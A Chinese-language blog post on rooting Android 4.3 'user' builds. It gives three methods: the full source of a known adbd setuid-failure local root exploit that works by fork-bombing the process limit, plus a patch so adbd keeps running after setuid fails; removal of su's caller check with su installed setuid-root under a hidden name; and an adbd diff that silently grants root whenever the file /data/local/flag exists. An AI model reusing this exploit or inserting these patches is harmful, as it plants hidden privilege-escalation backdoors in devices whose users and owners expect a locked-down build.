Android user版本提权root:

软件版本:android4.3

硬件平台:marvell

方案一:

第一步,修改adb.c,添加可执行程序,完成root,修改如下:

adb.c:

注释掉下列部分,

/* then switch user and group to "shell" */
if (setgid(AID_SHELL) != 0) {
exit(1);
if (setuid(AID_SHELL) != 0) {
exit(1);
}
改为setgid(AID_SHELL);
setuid(AID_SHELL);

否则set失败会退出,修改后防止setgid,setuid失败退出adbd启动。

第二步,添加如下代码,编译为可执行程序。

/* android 1.x/2.x adb setuid() root exploit
* (C) 2010 The Android Exploid Crew
*
* Needs to be executed via adb -d shell. It may take a while until
* all process slots are filled and the adb connection is reset.
*
* !!!This is PoC code for educational purposes only!!!
* If you run it, it might crash your device and make it unusable!
* So you use it at your own risk!
*/
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
void die(const char *msg)
{
perror(msg);
exit(errno);
}
pid_t find_adb()
{
char buf[256];
int i = 0, fd = 0;
pid_t found = 0;
for (i = 0; i < 32000; ++i) {
sprintf(buf, "/proc/%d/cmdline", i);
if ((fd = open(buf, O_RDONLY)) < 0)
continue;
memset(buf, 0, sizeof(buf));
read(fd, buf, sizeof(buf) - 1);
close(fd);
if (strstr(buf, "/sbin/adb")) {
found = i;
break;
}
}
return found;
}
void restart_adb(pid_t pid)
{
kill(pid, 9);
}
void wait_for_root_adb(pid_t old_adb)
{
pid_t p = 0;
for (;;) {
p = find_adb();
if (p != 0 && p != old_adb)
break;
sleep(1);
}
sleep(5);
kill(-1, 9);
}
int main(int argc, char **argv)
{
pid_t adb_pid = 0, p;
int pids = 0, new_pids = 1;
int pepe[2];
char c = 0;
struct rlimit rl;
printf("[*] CVE-2010-EASY Android local root exploit (C) 2010 by 743C\n\n");
printf("[*] checking NPROC limit ...\n");
if (getrlimit(RLIMIT_NPROC, &rl) < 0)
die("[-] getrlimit");
if (rl.rlim_cur == RLIM_INFINITY) {
printf("[-] No RLIMIT_NPROC set. Exploit would just crash machine. Exiting.\n");
exit(1);
}
printf("[+] RLIMIT_NPROC={%lu, %lu}\n", rl.rlim_cur, rl.rlim_max);
printf("[*] Searching for adb ...\n");
adb_pid = find_adb();
if (!adb_pid)
die("[-] Cannot find adb");
printf("[+] Found adb as PID %d\n", adb_pid);
printf("[*] Spawning children. Dont type anything and wait for reset!\n");
printf("[*]\n[*] If you like what we are doing you can send us PayPal money to\n"
"[*] 7-4-3-C@web.de so we can compensate time, effort and HW costs.\n"
"[*] If you are a company and feel like you profit from our work,\n"
"[*] we also accept donations > 1000 USD!\n");
printf("[*]\n[*] adb connection will be reset. restart adb server on desktop and re-login.\n");
sleep(5);
if (fork() > 0)
exit(0);
setsid();
pipe(pepe);
/* generate many (zombie) shell-user processes so restarting
* adb's setuid() will fail.
* The whole thing is a bit racy, since when we kill adb
* there is one more process slot left which we need to
* fill before adb reaches setuid(). Thats why we fork-bomb
* in a seprate process.
*/
if (fork() == 0) {
close(pepe[0]);
for (;;) {
if ((p = fork()) == 0) {
exit(0);
} else if (p < 0) {
if (new_pids) {
printf("\n[+] Forked %d childs.\n", pids);
new_pids = 0;
write(pepe[1], &c, 1);
close(pepe[1]);
}
} else {
++pids;
}
}
}
close(pepe[1]);
read(pepe[0], &c, 1);
restart_adb(adb_pid);
if (fork() == 0) {
fork();
for (;;)
sleep(0x743C);
}
wait_for_root_adb(adb_pid);
return 0;
}

将改动更新到系统中,然后执行上段代码生成的可执行程序即可。

该方案的实现原理:内核限制了每个用户所能创建的进程的总数,有内核中的一个宏值加以限制,只要超过该值,该用户创建进程就会失败,进一步分析,adb工具创建的进程ratc也运行在shell用户权限下;ratc一直创建子进程(ratc创建的子程序也将会运行在shell用户权限下),紧接着子程序退出,形成僵尸进程,占用shell用户的进程资源,直到到达shell用户的进程数为 RLIMIT_NPROC的时候(包括adbd、ratc及其子程序),这是ratc将会创建子进程失败。这时候杀掉adbd,adbd进程因为是 Android系统服务,将会被Android系统自动重启,这时候ratc也在竞争产生子程序。在adbd程序执行上面setgid和setuid之前,ratc已经创建了一个新的子进程,那么shell用户的进程限额已经达到,则adbd进程执行setgid和setuid将会失败。根据代码我们发现失败之后adbd将会继续执行。这样adbd进程将会运行在root权限下面了。这是重新用adb连接设备,则adb将会运行在root权限下面了。

方案二:

第一步:

在system/extras/su/su.c 中删除下面3行代码
if (myuid != AID_ROOT && myuid != AID_SHELL) {
fprintf(stderr,"su: uid %d not allowed to su\n", myuid);
return 1;
}

第二步:

更新system目录下android_filesystem_config.h
在android_files 数组中增加
{ 06755, AID_ROOT, AID_ROOT, 0, "system/bin/su" },
注意这行要放在
{ 00755, AID_ROOT, AID_SHELL, 0, "system/bin/*" },

之前

为防止普通用户执行su命令root user版本系统,可以将其编译成其他名字的可执行程序,只要你自己知道执行哪个文件root系统即可。

方案三:

依然是从adb入手,基本原理为判断某一目录下的某一文件,如果该文件存在,则adb返回root权限。

首先:修改system/core/adb目录下mk:

--- a/adb/Android.mk
+++ b/adb/Android.mk
@@ -120,7 +120,7 @@ LOCAL_SRC_FILES := \
LOCAL_CFLAGS := -O2 -g -DADB_HOST=0 -Wall -Wno-unused-parameter
LOCAL_CFLAGS += -D_XOPEN_SOURCE -D_GNU_SOURCE
-ifneq (,$(filter userdebug eng,$(TARGET_BUILD_VARIANT)))
+ifneq (,$(filter userdebug eng user,$(TARGET_BUILD_VARIANT)))
LOCAL_CFLAGS += -DALLOW_ADBD_ROOT=1
endif其次:修改该目录下的adb.c文件,
--- a/adb/adb.c
+++ b/adb/adb.c
@@ -55,7 +55,11 @@ static int auth_enabled = 0;
#if !ADB_HOST
static const char *adb_device_banner = "device";
#endif
-
+#define XR_ADBDROOT_OPEN
+#ifdef XR_ADBDROOT_OPEN
+#define XR_ADBDROOT_PATH "/data/local/flag"
+int IsOpenAdbdRoot();
+#endif
void fatal(const char *fmt, ...)
{
va_list ap;
@@ -1221,7 +1225,12 @@ static int should_drop_privileges() {
#else /* ALLOW_ADBD_ROOT */
int secure = 0;
char value[PROPERTY_VALUE_MAX];
-
+#ifdef XR_ADBDROOT_OPEN
+ if (IsOpenAdbdRoot() >= 0)
+ {
+ return 0;
+ }
+#endif
/* run adbd in secure mode if ro.secure is set and
** we are not in the emulator
*/
@@ -1623,6 +1632,24 @@ int handle_host_request(char *service, transport_type ttype, char* serial, int r
int recovery_mode = 0;
#endif
+#ifdef XR_ADBDROOT_OPEN
+int IsOpenAdbdRoot()
+{
+ FILE *fd = NULL;
+ fd = fopen(XR_ADBDROOT_PATH, "r");
+ if(fd != NULL)
+ {
+ //char str[8] = {0};
+ //fgets(str, 4, fd);
+ fclose(fd);
+ //if (!strcmp(str, "root"))
+ {
+ return 0;
+ }
+ }
+ return -1;
+}
+#endif
int main(int argc, char **argv)
{
#if ADB_HOST最后:创建/data/local/flag文件,可以将创建放到device目录,在产品目录下(含有‘pro.mk’),新建copyfiles目录,在copyfiles目录下,编辑copy.mk如下:
copy_files := $(subst $(LOCAL_PATH)/,, \
$(filter-out %.mk,\
$(patsubst ./%,%, \
$(shell find $(LOCAL_PATH) -type f -name "*" -and -not -name ".*") \
)))
PRODUCT_COPY_FILES += $(foreach file,$(copy_files),\
$(LOCAL_PATH)/$(file):$(file))

然后将此mk,包含到pro.mk中,$(call inherit-product-if-exists, $(LOCAL_PATH)/copyfiles/copy.mk),在copyfiles目录下创建/data/local/flag文件,则编译完成,data目录下会有该文件。

本人目前发现的就这三种方法,如果还有其他方法,可以切磋,本篇博文有任何问题,还望指教~~~(~ o ~)~zZ